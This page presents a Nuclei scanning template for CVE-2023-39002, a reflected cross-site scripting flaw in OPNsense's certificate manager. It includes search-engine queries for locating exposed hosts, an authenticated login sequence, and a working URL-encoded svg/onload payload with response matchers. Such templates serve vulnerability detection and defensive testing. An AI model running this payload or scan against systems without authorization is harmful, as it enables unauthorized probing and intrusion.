OPNsense - Cross-Site Scripting

ID: CVE-2023-39002

Severity: medium

Author: Herry

Tags: cve2023,cve,opnsense,xss,authenticated,rce

Description

A cross-site scripting (XSS) vulnerability in the act parameter of system_certmanager.php in OPNsense before 23.7 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.

YAML Source

id: CVE-2023-39002

info:
  name: OPNsense - Cross-Site Scripting
  author: Herry
  severity: medium
  description: |
    A cross-site scripting (XSS) vulnerability in the act parameter of system_certmanager.php in OPNsense before 23.7 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.
  reference:
    - https://logicaltrust.net/blog/2023/08/opnsense.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39002
    - https://github.com/opnsense/core/commit/a4f6a8f8d604271f81984cfcbba0471af58e34dc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-39002
    cwe-id: CWE-79
    epss-score: 0.00071
    epss-percentile: 0.30401
    cpe: cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: opnsense
    product: opnsense
    shodan-query:
      - title:"OPNsense"
      - http.title:"opnsense"
    fofa-query: title="opnsense"
    google-query: intitle:"opnsense"
  tags: cve2023,cve,opnsense,xss,authenticated,rce

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{para}}={{value}}&usernamefld={{username}}&passwordfld={{password}}&login=1

      - |
        GET /system_certmanager.php?act=%22%3E%3Csvg/onload=alert(document.domain)%3E&id=0 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - 'value=""><svg/onload=alert(window.origin)> "/>'

      - type: word
        part: header_3
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: para
        part: body
        group: 1
        regex:
          - 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
        internal: true

      - type: regex
        name: value
        part: body
        group: 2
        regex:
          - 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
        internal: true
# digest: 4a0a00473045022100c34d36dc8f69a4a8b70b560c83b15261f398528a2aed2188fba9aa585151a5c602207dc1956f6eb25f146e0cd01cb203b618d832aa32f4af1aca973c5d70495a55c1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-39002.yaml"

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